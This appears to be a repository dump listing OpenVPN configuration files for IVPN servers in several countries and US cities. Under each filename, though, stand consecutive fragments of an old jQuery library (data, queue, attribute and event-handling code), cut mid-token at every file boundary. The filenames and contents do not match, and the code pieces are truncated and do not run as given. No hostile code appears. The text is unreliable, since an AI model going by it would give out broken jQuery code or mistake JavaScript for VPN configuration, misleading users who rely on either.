39 | return elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : null;
40 | }
41 |
42 | this.each(function() {
43 | jQuery.data( this, key, value );
44 | });
45 | }, null, value, arguments.length > 1, null, true );
46 | },
47 |
48 | removeData: function( key ) {
49 | return this.each(function() {
50 | jQuery.removeData( this, key );
51 | });
52 | }
53 | });
54 |
55 | function dataAttr( elem, key, data ) {
56 | // If nothing was found internally, try to fetch any
57 | // data from the HTML5 data-* attribute
58 | if ( data === undefined && elem.nodeType === 1 ) {
59 |
60 | var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
61 |
62 | data = elem.getAttribute( name );
63 |
64 | if ( typeof data === "string" ) {
65 | try {
66 | data = data === "true" ? true :
67 | data === "false" ? false :
68 | data === "null" ? null :
69 | // Only convert to a number if it doesn't change the string
70 | +data + "" === data ? +data :
71 | rbrace.test( data ) ? jQuery.parseJSON( data ) :
72 | data;
73 | } catch( e ) {}
74 |
75 | // Make sure we set the data so it isn't changed later
76 | jQuery.data( elem, key, data );
77 |
78 | } else {
79 | data = undefined;
80 | }
81 | }
82 |
83 | return data;
84 | }
85 |
86 | // checks a cache object for emptiness
87 | function isEmptyDataObject( obj ) {
88 | var name;
89 | for ( name in obj ) {
90 |
91 | // if the public data object is empty, the private is still empty
92 | if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) {
93 | continue;
94 | }
95 | if ( name !== "toJSON" ) {
96 | return false;
97 | }
98 | }
99 |
100 | return true;
101 | }
102 | jQuery.extend({
103 | queue: function( elem, type, data ) {
104 | var queue;
105 |
106 | if ( elem ) {
107 | type = ( type || "fx" ) + "queue";
108 | queue = jQuery._data( elem, type );
109 |
110 | // Speed up dequeue by getting out quickly if this is just a lookup
111 | if ( data ) {
112 | if ( !queue || jQuery.isArray(data) ) {
113 | que
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Iceland.ovpn:
--------------------------------------------------------------------------------
1 | e );
2 | }
3 |
4 | return data === undefined ?
5 | this :
6 | this.each(function() {
7 | var queue = jQuery.queue( this, type, data );
8 |
9 | // ensure a hooks for this queue
10 | jQuery._queueHooks( this, type );
11 |
12 | if ( type === "fx" && queue[0] !== "inprogress" ) {
13 | jQuery.dequeue( this, type );
14 | }
15 | });
16 | },
17 | dequeue: function( type ) {
18 | return this.each(function() {
19 | jQuery.dequeue( this, type );
20 | });
21 | },
22 | // Based off of the plugin by Clint Helfers, with permission.
23 | // http://blindsignals.com/index.php/2009/07/jquery-delay/
24 | delay: function( time, type ) {
25 | time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
26 | type = type || "fx";
27 |
28 | return this.queue( type, function( next, hooks ) {
29 | var timeout = setTimeout( next, time );
30 | hooks.stop = function() {
31 | clearTimeout( timeout );
32 | };
33 | });
34 | },
35 | clearQueue: function( type ) {
36 | return this.queue( type || "fx", [] );
37 | },
38 | // Get a promise resolved when queues of a certain type
39 | // are emptied (fx is the type by default)
40 | promise: function( type, obj ) {
41 | var tmp,
42 | count = 1,
43 | defer = jQuery.Deferred(),
44 | elements = this,
45 | i = this.length,
46 | resolve = function() {
47 | if ( !( --count ) ) {
48 | defer.resolveWith( elements, [ elements ] );
49 | }
50 | };
51 |
52 | if ( typeof type !== "string" ) {
53 | obj = type;
54 | type = undefined;
55 | }
56 | type = type || "fx";
57 |
58 | while( i-- ) {
59 | tmp = jQuery._data( elements[ i ], type + "queueHooks" );
60 | if ( tmp && tmp.empty ) {
61 | count++;
62 | tmp.empty.add( resolve );
63 | }
64 | }
65 | resolve();
66 | return defer.promise( obj );
67 | }
68 | });
69 | var nodeHook, boolHook,
70 | rclass = /[\t\r\n]/g,
71 | rreturn = /\r/g,
72 | rfocusable = /^(?:input|select|textarea|button|object)$/i,
73 | rclickable = /^(?:a|area)$/i,
74 | rboolean = /^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,
75 | ruseDefault = /^(?:checked|selected)$/i,
76 | getSetAttribute = jQuery.support.getSetAttribute,
77 | getSetInput = jQuery.support.input;
78 |
79 | jQuery.fn.extend({
80 | attr: function( name, value ) {
81 | return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 );
82 | },
83 |
84 | removeAttr: function( name ) {
85 | return this.each(function() {
86 | jQuery.removeAttr( this, name );
87 | });
88 | },
89 |
90 | prop: function( name, value ) {
91 | return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 );
92 | },
93 |
94 | removeProp: function( name ) {
95 | name = jQuery.propFix[ name ] || name;
96 | return this.each(function() {
97 | // try/catch handles cases where IE balks (such as removing a property on window)
98 | try {
99 |
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Italy.ovpn:
--------------------------------------------------------------------------------
1 | className ?
2 | ( " " + elem.className + " " ).replace( rclass, " " ) :
3 | ""
4 | );
5 |
6 | if ( cur ) {
7 | j = 0;
8 | while ( (clazz = classes[j++]) ) {
9 | // Remove *all* instances
10 | while ( cur.indexOf( " " + clazz + " " ) >= 0 ) {
11 | cur = cur.replace( " " + clazz + " ", " " );
12 | }
13 | }
14 | elem.className = value ? jQuery.trim( cur ) : "";
15 | }
16 | }
17 | }
18 |
19 | return this;
20 | },
21 |
22 | toggleClass: function( value, stateVal ) {
23 | var type = typeof value,
24 | isBool = typeof stateVal === "boolean";
25 |
26 | if ( jQuery.isFunction( value ) ) {
27 | return this.each(function( i ) {
28 | jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
29 | });
30 | }
31 |
32 | return this.each(function() {
33 | if ( type === "string" ) {
34 | // toggle individual class names
35 | var className,
36 | i = 0,
37 | self = jQuery( this ),
38 | state = stateVal,
39 | classNames = value.match( core_rnotwhite ) || [];
40 |
41 | while ( (className = classNames[ i++ ]) ) {
42 | // check each className given, space separated list
43 | state = isBool ? state : !self.hasClass( className );
44 | self[ state ? "addClass" : "removeClass" ]( className );
45 | }
46 |
47 | // Toggle whole class name
48 | } else if ( type === core_strundefined || type === "boolean" ) {
49 | if ( this.className ) {
50 | // store className if set
51 | jQuery._data( this, "__className__", this.className );
52 | }
53 |
54 | // If the element has a class name or if we're passed "false",
55 | // then remove the whole classname (if there was one, the above saved it).
56 | // Otherwise bring back whatever was previously saved (if anything),
57 | // falling back to the empty string if nothing was stored.
58 | this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || "";
59 | }
60 | });
61 | },
62 |
63 | hasClass: function( selector ) {
64 | var className = " " + selector + " ",
65 | i = 0,
66 | l = this.length;
67 | for ( ; i < l; i++ ) {
68 | if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) {
69 | return true;
70 | }
71 | }
72 |
73 | return false;
74 | },
75 |
76 | val: function( value ) {
77 | var ret, hooks, isFunction,
78 | elem = this[0];
79 |
80 | if ( !arguments.length ) {
81 | if ( elem ) {
82 | hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];
83 |
84 | if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
85 | return ret;
86 | }
87 |
88 | ret = elem.value;
89 |
90 | return typeof ret === "string" ?
91 | // handle most common string cases
92 | ret.replace(rreturn, "") :
93 |
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Netherlands.ovpn:
--------------------------------------------------------------------------------
1 | through all the selected options
2 | for ( ; i < max; i++ ) {
3 | option = options[ i ];
4 |
5 | // oldIE doesn't update selected after form reset (#2551)
6 | if ( ( option.selected || i === index ) &&
7 | // Don't return options that are disabled or in a disabled optgroup
8 | ( jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) &&
9 | ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
10 |
11 | // Get the specific value for the option
12 | value = jQuery( option ).val();
13 |
14 | // We don't need an array for one selects
15 | if ( one ) {
16 | return value;
17 | }
18 |
19 | // Multi-Selects return an array
20 | values.push( value );
21 | }
22 | }
23 |
24 | return values;
25 | },
26 |
27 | set: function( elem, value ) {
28 | var values = jQuery.makeArray( value );
29 |
30 | jQuery(elem).find("option").each(function() {
31 | this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;
32 | });
33 |
34 | if ( !values.length ) {
35 | elem.selectedIndex = -1;
36 | }
37 | return values;
38 | }
39 | }
40 | },
41 |
42 | attr: function( elem, name, value ) {
43 | var hooks, notxml, ret,
44 | nType = elem.nodeType;
45 |
46 | // don't get/set attributes on text, comment and attribute nodes
47 | if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
48 | return;
49 | }
50 |
51 | // Fallback to prop when attributes are not supported
52 | if ( typeof elem.getAttribute === core_strundefined ) {
53 | return jQuery.prop( elem, name, value );
54 | }
55 |
56 | notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
57 |
58 | // All attributes are lowercase
59 | // Grab necessary hook if one is defined
60 | if ( notxml ) {
61 | name = name.toLowerCase();
62 | hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook );
63 | }
64 |
65 | if ( value !== undefined ) {
66 |
67 | if ( value === null ) {
68 | jQuery.removeAttr( elem, name );
69 |
70 | } else if ( hooks && notxml && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
71 | return ret;
72 |
73 | } else {
74 | elem.setAttribute( name, value + "" );
75 | return value;
76 | }
77 |
78 | } else if ( hooks && notxml && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
79 | return ret;
80 |
81 | } else {
82 |
83 | // In IE9+, Flash objects don't have .getAttribute (#12945)
84 | // Support: IE9+
85 | if ( typeof elem.getAttribute !== core_strundefined ) {
86 | ret = elem.getAttribute( name );
87 | }
88 |
89 | // Non-existent attributes return null, we normalize to undefined
90 | return ret == null ?
91 | undefined :
92 | ret;
93 | }
94 | },
95 |
96 | removeAttr: function( elem, value ) {
97 | var name, propName,
98 | i = 0
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Romania.ovpn:
--------------------------------------------------------------------------------
1 |
2 | usemap: "useMap",
3 | frameborder: "frameBorder",
4 | contenteditable: "contentEditable"
5 | },
6 |
7 | prop: function( elem, name, value ) {
8 | var ret, hooks, notxml,
9 | nType = elem.nodeType;
10 |
11 | // don't get/set properties on text, comment and attribute nodes
12 | if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
13 | return;
14 | }
15 |
16 | notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
17 |
18 | if ( notxml ) {
19 | // Fix name and attach hooks
20 | name = jQuery.propFix[ name ] || name;
21 | hooks = jQuery.propHooks[ name ];
22 | }
23 |
24 | if ( value !== undefined ) {
25 | if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
26 | return ret;
27 |
28 | } else {
29 | return ( elem[ name ] = value );
30 | }
31 |
32 | } else {
33 | if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
34 | return ret;
35 |
36 | } else {
37 | return elem[ name ];
38 | }
39 | }
40 | },
41 |
42 | propHooks: {
43 | tabIndex: {
44 | get: function( elem ) {
45 | // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set
46 | // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
47 | var attributeNode = elem.getAttributeNode("tabindex");
48 |
49 | return attributeNode && attributeNode.specified ?
50 | parseInt( attributeNode.value, 10 ) :
51 | rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?
52 | 0 :
53 | undefined;
54 | }
55 | }
56 | }
57 | });
58 |
59 | // Hook for boolean attributes
60 | boolHook = {
61 | get: function( elem, name ) {
62 | var
63 | // Use .prop to determine if this attribute is understood as boolean
64 | prop = jQuery.prop( elem, name ),
65 |
66 | // Fetch it accordingly
67 | attr = typeof prop === "boolean" && elem.getAttribute( name ),
68 | detail = typeof prop === "boolean" ?
69 |
70 | getSetInput && getSetAttribute ?
71 | attr != null :
72 | // oldIE fabricates an empty string for missing boolean attributes
73 | // and conflates checked/selected into attroperties
74 | ruseDefault.test( name ) ?
75 | elem[ jQuery.camelCase( "default-" + name ) ] :
76 | !!attr :
77 |
78 | // fetch an attribute node for properties not recognized as boolean
79 | elem.getAttributeNode( name );
80 |
81 | return detail && detail.value !== false ?
82 | name.toLowerCase() :
83 | undefined;
84 | },
85 | set: function( elem, value, name ) {
86 | if ( value === false ) {
87 | // Remove boolean attributes when set to false
88 | jQuery.removeAttr( elem, name );
89 | } else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
90 | // IE<8 needs the *property* name
91 | elem.setAttribute( !getSetAttribute && jQuery.propFix[ n
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Sweden.ovpn:
--------------------------------------------------------------------------------
1 | ttribute( name ))
2 | );
3 | }
4 |
5 | ret.value = value += "";
6 |
7 | // Break association with cloned elements by also using setAttribute (#9646)
8 | return name === "value" || value === elem.getAttribute( name ) ?
9 | value :
10 | undefined;
11 | }
12 | };
13 |
14 | // Set contenteditable to false on removals(#10429)
15 | // Setting to empty string throws an error as an invalid value
16 | jQuery.attrHooks.contenteditable = {
17 | get: nodeHook.get,
18 | set: function( elem, value, name ) {
19 | nodeHook.set( elem, value === "" ? false : value, name );
20 | }
21 | };
22 |
23 | // Set width and height to auto instead of 0 on empty string( Bug #8150 )
24 | // This is for removals
25 | jQuery.each([ "width", "height" ], function( i, name ) {
26 | jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
27 | set: function( elem, value ) {
28 | if ( value === "" ) {
29 | elem.setAttribute( name, "auto" );
30 | return value;
31 | }
32 | }
33 | });
34 | });
35 | }
36 |
37 |
38 | // Some attributes require a special call on IE
39 | // http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
40 | if ( !jQuery.support.hrefNormalized ) {
41 | jQuery.each([ "href", "src", "width", "height" ], function( i, name ) {
42 | jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
43 | get: function( elem ) {
44 | var ret = elem.getAttribute( name, 2 );
45 | return ret == null ? undefined : ret;
46 | }
47 | });
48 | });
49 |
50 | // href/src property should get the full normalized URL (#10299/#12915)
51 | jQuery.each([ "href", "src" ], function( i, name ) {
52 | jQuery.propHooks[ name ] = {
53 | get: function( elem ) {
54 | return elem.getAttribute( name, 4 );
55 | }
56 | };
57 | });
58 | }
59 |
60 | if ( !jQuery.support.style ) {
61 | jQuery.attrHooks.style = {
62 | get: function( elem ) {
63 | // Return undefined in the case of empty string
64 | // Note: IE uppercases css property names, but if we were to .toLowerCase()
65 | // .cssText, that would destroy case senstitivity in URL's, like in "background"
66 | return elem.style.cssText || undefined;
67 | },
68 | set: function( elem, value ) {
69 | return ( elem.style.cssText = value + "" );
70 | }
71 | };
72 | }
73 |
74 | // Safari mis-reports the default selected property of an option
75 | // Accessing the parent's selectedIndex property fixes it
76 | if ( !jQuery.support.optSelected ) {
77 | jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, {
78 | get: function( elem ) {
79 | var parent = elem.parentNode;
80 |
81 | if ( parent ) {
82 | parent.selectedIndex;
83 |
84 | // Make sure that it also works with optgroups, see #5701
85 | if ( parent.parentNode ) {
86 | parent.parentNode.selectedIndex;
87 | }
88 | }
89 | return null;
90 | }
91 | });
92 | }
93 |
94 | // IE6/7 call enctype encod
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Switzerland.ovpn:
--------------------------------------------------------------------------------
1 | pass in an object of custom data in lieu of the handler
2 | if ( handler.handler ) {
3 | handleObjIn = handler;
4 | handler = handleObjIn.handler;
5 | selector = handleObjIn.selector;
6 | }
7 |
8 | // Make sure that the handler has a unique ID, used to find/remove it later
9 | if ( !handler.guid ) {
10 | handler.guid = jQuery.guid++;
11 | }
12 |
13 | // Init the element's event structure and main handler, if this is the first
14 | if ( !(events = elemData.events) ) {
15 | events = elemData.events = {};
16 | }
17 | if ( !(eventHandle = elemData.handle) ) {
18 | eventHandle = elemData.handle = function( e ) {
19 | // Discard the second event of a jQuery.event.trigger() and
20 | // when an event is called after a page has unloaded
21 | return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ?
22 | jQuery.event.dispatch.apply( eventHandle.elem, arguments ) :
23 | undefined;
24 | };
25 | // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events
26 | eventHandle.elem = elem;
27 | }
28 |
29 | // Handle multiple events separated by a space
30 | // jQuery(...).bind("mouseover mouseout", fn);
31 | types = ( types || "" ).match( core_rnotwhite ) || [""];
32 | t = types.length;
33 | while ( t-- ) {
34 | tmp = rtypenamespace.exec( types[t] ) || [];
35 | type = origType = tmp[1];
36 | namespaces = ( tmp[2] || "" ).split( "." ).sort();
37 |
38 | // If event changes its type, use the special event handlers for the changed type
39 | special = jQuery.event.special[ type ] || {};
40 |
41 | // If selector defined, determine special event api type, otherwise given type
42 | type = ( selector ? special.delegateType : special.bindType ) || type;
43 |
44 | // Update special based on newly reset type
45 | special = jQuery.event.special[ type ] || {};
46 |
47 | // handleObj is passed to all event handlers
48 | handleObj = jQuery.extend({
49 | type: type,
50 | origType: origType,
51 | data: data,
52 | handler: handler,
53 | guid: handler.guid,
54 | selector: selector,
55 | needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
56 | namespace: namespaces.join(".")
57 | }, handleObjIn );
58 |
59 | // Init the event handler queue if we're the first
60 | if ( !(handlers = events[ type ]) ) {
61 | handlers = events[ type ] = [];
62 | handlers.delegateCount = 0;
63 |
64 | // Only use addEventListener/attachEvent if the special events handler returns false
65 | if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
66 | // Bind the global event handler to the element
67 | if ( elem.addEventListener ) {
68 | elem.addEventListener( type, eventHand
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/USA - Atlanta.ovpn:
--------------------------------------------------------------------------------
1 | ial = jQuery.event.special[ type ] || {};
2 | type = ( selector ? special.delegateType : special.bindType ) || type;
3 | handlers = events[ type ] || [];
4 | tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" );
5 |
6 | // Remove matching events
7 | origCount = j = handlers.length;
8 | while ( j-- ) {
9 | handleObj = handlers[ j ];
10 |
11 | if ( ( mappedTypes || origType === handleObj.origType ) &&
12 | ( !handler || handler.guid === handleObj.guid ) &&
13 | ( !tmp || tmp.test( handleObj.namespace ) ) &&
14 | ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
15 | handlers.splice( j, 1 );
16 |
17 | if ( handleObj.selector ) {
18 | handlers.delegateCount--;
19 | }
20 | if ( special.remove ) {
21 | special.remove.call( elem, handleObj );
22 | }
23 | }
24 | }
25 |
26 | // Remove generic event handler if we removed something and no more handlers exist
27 | // (avoids potential for endless recursion during removal of special event handlers)
28 | if ( origCount && !handlers.length ) {
29 | if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
30 | jQuery.removeEvent( elem, type, elemData.handle );
31 | }
32 |
33 | delete events[ type ];
34 | }
35 | }
36 |
37 | // Remove the expando if it's no longer used
38 | if ( jQuery.isEmptyObject( events ) ) {
39 | delete elemData.handle;
40 |
41 | // removeData also checks for emptiness and clears the expando if empty
42 | // so use it instead of delete
43 | jQuery._removeData( elem, "events" );
44 | }
45 | },
46 |
47 | trigger: function( event, data, elem, onlyHandlers ) {
48 | var handle, ontype, cur,
49 | bubbleType, special, tmp, i,
50 | eventPath = [ elem || document ],
51 | type = core_hasOwn.call( event, "type" ) ? event.type : event,
52 | namespaces = core_hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : [];
53 |
54 | cur = tmp = elem = elem || document;
55 |
56 | // Don't do events on text and comment nodes
57 | if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
58 | return;
59 | }
60 |
61 | // focus/blur morphs to focusin/out; ensure we're not firing them right now
62 | if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
63 | return;
64 | }
65 |
66 | if ( type.indexOf(".") >= 0 ) {
67 | // Namespaced trigger; create a regexp to match event type in handle()
68 | namespaces = type.split(".");
69 | type = namespaces.shift();
70 | namespaces.sort();
71 | }
72 | ontype = type.indexOf(":") < 0 && "on" + type;
73 |
74 | // Caller can pass in a jQuery.Event object, Object, or just an event type string
75 | event = event[ jQuery.expando ] ?
76 | event :
77 | new jQuery.Event( type, typeof ev
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/USA - Dallas.ovpn:
--------------------------------------------------------------------------------
1 | > 1 ?
2 | bubbleType :
3 | special.bindType || type;
4 |
5 | // jQuery handler
6 | handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" );
7 | if ( handle ) {
8 | handle.apply( cur, data );
9 | }
10 |
11 | // Native handler
12 | handle = ontype && cur[ ontype ];
13 | if ( handle && jQuery.acceptData( cur ) && handle.apply && handle.apply( cur, data ) === false ) {
14 | event.preventDefault();
15 | }
16 | }
17 | event.type = type;
18 |
19 | // If nobody prevented the default action, do it now
20 | if ( !onlyHandlers && !event.isDefaultPrevented() ) {
21 |
22 | if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) &&
23 | !(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) {
24 |
25 | // Call a native DOM method on the target with the same name name as the event.
26 | // Can't use an .isFunction() check here because IE6/7 fails that test.
27 | // Don't do default actions on window, that's where global variables be (#6170)
28 | if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) {
29 |
30 | // Don't re-trigger an onFOO event when we call its FOO() method
31 | tmp = elem[ ontype ];
32 |
33 | if ( tmp ) {
34 | elem[ ontype ] = null;
35 | }
36 |
37 | // Prevent re-triggering of the same event, since we already bubbled it above
38 | jQuery.event.triggered = type;
39 | try {
40 | elem[ type ]();
41 | } catch ( e ) {
42 | // IE<9 dies on focus/blur to hidden element (#1486,#12518)
43 | // only reproducible on winXP IE8 native, not IE9 in IE8 mode
44 | }
45 | jQuery.event.triggered = undefined;
46 |
47 | if ( tmp ) {
48 | elem[ ontype ] = tmp;
49 | }
50 | }
51 | }
52 | }
53 |
54 | return event.result;
55 | },
56 |
57 | dispatch: function( event ) {
58 |
59 | // Make a writable jQuery.Event from the native event object
60 | event = jQuery.event.fix( event );
61 |
62 | var i, ret, handleObj, matched, j,
63 | handlerQueue = [],
64 | args = core_slice.call( arguments ),
65 | handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [],
66 | special = jQuery.event.special[ event.type ] || {};
67 |
68 | // Use the fix-ed jQuery.Event rather than the (read-only) native event
69 | args[0] = event;
70 | event.delegateTarget = this;
71 |
72 | // Call the preDispatch hook for the mapped type, and let it bail if desired
73 | if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
74 | return;
75 | }
76 |
77 | // Determine handlers
78 | handlerQueue = jQuery.event.handlers.call( this, event, handlers );
79 |
80 | // Run delegates first; they may want to stop propagation beneath us
81 | i = 0;
82 | while ( (matched = handlerQueue[ i++ ]) && !event.is
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/USA - Los Angeles.ovpn:
--------------------------------------------------------------------------------
1 | === 1 && (cur.disabled !== true || event.type !== "click") ) {
2 | matches = [];
3 | for ( i = 0; i < delegateCount; i++ ) {
4 | handleObj = handlers[ i ];
5 |
6 | // Don't conflict with Object.prototype properties (#13203)
7 | sel = handleObj.selector + " ";
8 |
9 | if ( matches[ sel ] === undefined ) {
10 | matches[ sel ] = handleObj.needsContext ?
11 | jQuery( sel, this ).index( cur ) >= 0 :
12 | jQuery.find( sel, this, null, [ cur ] ).length;
13 | }
14 | if ( matches[ sel ] ) {
15 | matches.push( handleObj );
16 | }
17 | }
18 | if ( matches.length ) {
19 | handlerQueue.push({ elem: cur, handlers: matches });
20 | }
21 | }
22 | }
23 | }
24 |
25 | // Add the remaining (directly-bound) handlers
26 | if ( delegateCount < handlers.length ) {
27 | handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) });
28 | }
29 |
30 | return handlerQueue;
31 | },
32 |
33 | fix: function( event ) {
34 | if ( event[ jQuery.expando ] ) {
35 | return event;
36 | }
37 |
38 | // Create a writable copy of the event object and normalize some properties
39 | var i, prop, copy,
40 | type = event.type,
41 | originalEvent = event,
42 | fixHook = this.fixHooks[ type ];
43 |
44 | if ( !fixHook ) {
45 | this.fixHooks[ type ] = fixHook =
46 | rmouseEvent.test( type ) ? this.mouseHooks :
47 | rkeyEvent.test( type ) ? this.keyHooks :
48 | {};
49 | }
50 | copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
51 |
52 | event = new jQuery.Event( originalEvent );
53 |
54 | i = copy.length;
55 | while ( i-- ) {
56 | prop = copy[ i ];
57 | event[ prop ] = originalEvent[ prop ];
58 | }
59 |
60 | // Support: IE<9
61 | // Fix target property (#1925)
62 | if ( !event.target ) {
63 | event.target = originalEvent.srcElement || document;
64 | }
65 |
66 | // Support: Chrome 23+, Safari?
67 | // Target should not be a text node (#504, #13143)
68 | if ( event.target.nodeType === 3 ) {
69 | event.target = event.target.parentNode;
70 | }
71 |
72 | // Support: IE<9
73 | // For mouse/key events, metaKey==false if it's undefined (#3368, #11328)
74 | event.metaKey = !!event.metaKey;
75 |
76 | return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
77 | },
78 |
79 | // Includes some event props shared by KeyEvent and MouseEvent
80 | props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
81 |
82 | fixHooks: {},
83 |
84 | keyHooks: {
85 | props: "char charCode key keyCode".split(" "),
86 | filter: function( event, original ) {
87 |
88 | // Add which for key events
89 | if ( event.which == null ) {
90 | event.which = original.charCode != null ? original.charCode : original.keyCode;
91 | }
92 |
93 | return event;
94 | }
95 | },
96 |
97 | mouseHook
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/USA - Miami.ovpn:
--------------------------------------------------------------------------------
1 | , "input" ) && this.type === "checkbox" && this.click ) {
2 | this.click();
3 | return false;
4 | }
5 | }
6 | },
7 | focus: {
8 | // Fire native event if possible so blur/focus sequence is correct
9 | trigger: function() {
10 | if ( this !== document.activeElement && this.focus ) {
11 | try {
12 | this.focus();
13 | return false;
14 | } catch ( e ) {
15 | // Support: IE<9
16 | // If we error on focus to hidden element (#1486, #12518),
17 | // let .trigger() run the handlers
18 | }
19 | }
20 | },
21 | delegateType: "focusin"
22 | },
23 | blur: {
24 | trigger: function() {
25 | if ( this === document.activeElement && this.blur ) {
26 | this.blur();
27 | return false;
28 | }
29 | },
30 | delegateType: "focusout"
31 | },
32 |
33 | beforeunload: {
34 | postDispatch: function( event ) {
35 |
36 | // Even when returnValue equals to undefined Firefox will still show alert
37 | if ( event.result !== undefined ) {
38 | event.originalEvent.returnValue = event.result;
39 | }
40 | }
41 | }
42 | },
43 |
44 | simulate: function( type, elem, event, bubble ) {
45 | // Piggyback on a donor event to simulate a different one.
46 | // Fake originalEvent to avoid donor's stopPropagation, but if the
47 | // simulated event prevents default then we do the same on the donor.
48 | var e = jQuery.extend(
49 | new jQuery.Event(),
50 | event,
51 | { type: type,
52 | isSimulated: true,
53 | originalEvent: {}
54 | }
55 | );
56 | if ( bubble ) {
57 | jQuery.event.trigger( e, null, elem );
58 | } else {
59 | jQuery.event.dispatch.call( elem, e );
60 | }
61 | if ( e.isDefaultPrevented() ) {
62 | event.preventDefault();
63 | }
64 | }
65 | };
66 |
67 | jQuery.removeEvent = document.removeEventListener ?
68 | function( elem, type, handle ) {
69 | if ( elem.removeEventListener ) {
70 | elem.removeEventListener( type, handle, false );
71 | }
72 | } :
73 | function( elem, type, handle ) {
74 | var name = "on" + type;
75 |
76 | if ( elem.detachEvent ) {
77 |
78 | // #8545, #7054, preventing memory leaks for custom events in IE6-8
79 | // detachEvent needed property on element, by name of that event, to properly expose it to GC
80 | if ( typeof elem[ name ] === core_strundefined ) {
81 | elem[ name ] = null;
82 | }
83 |
84 | elem.detachEvent( name, handle );
85 | }
86 | };
87 |
88 | jQuery.Event = function( src, props ) {
89 | // Allow instantiation without the 'new' keyword
90 | if ( !(this instanceof jQuery.Event) ) {
91 | return new jQuery.Event( src, props );
92 | }
93 |
94 | // Event object
95 | if ( src && src.type ) {
96 | this.originalEvent = src;
97 | this.type = src.type;
98 |
99 | // Events bubbling up the document may have been marked as prevented
100 | // by a handler lower down the tree; reflect the correct value.
101 | this.isDefaultPrevented = ( src.defaultPrevented |
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/USA - New Jersey.ovpn:
--------------------------------------------------------------------------------
1 | tion() {
2 | this.isImmediatePropagationStopped = returnTrue;
3 | this.stopPropagation();
4 | }
5 | };
6 |
7 | // Create mouseenter/leave events using mouseover/out and event-time checks
8 | jQuery.each({
9 | mouseenter: "mouseover",
10 | mouseleave: "mouseout"
11 | }, function( orig, fix ) {
12 | jQuery.event.special[ orig ] = {
13 | delegateType: fix,
14 | bindType: fix,
15 |
16 | handle: function( event ) {
17 | var ret,
18 | target = this,
19 | related = event.relatedTarget,
20 | handleObj = event.handleObj;
21 |
22 | // For mousenter/leave call the handler if related is outside the target.
23 | // NB: No relatedTarget if the mouse left/entered the browser window
24 | if ( !related || (related !== target && !jQuery.contains( target, related )) ) {
25 | event.type = handleObj.origType;
26 | ret = handleObj.handler.apply( this, arguments );
27 | event.type = fix;
28 | }
29 | return ret;
30 | }
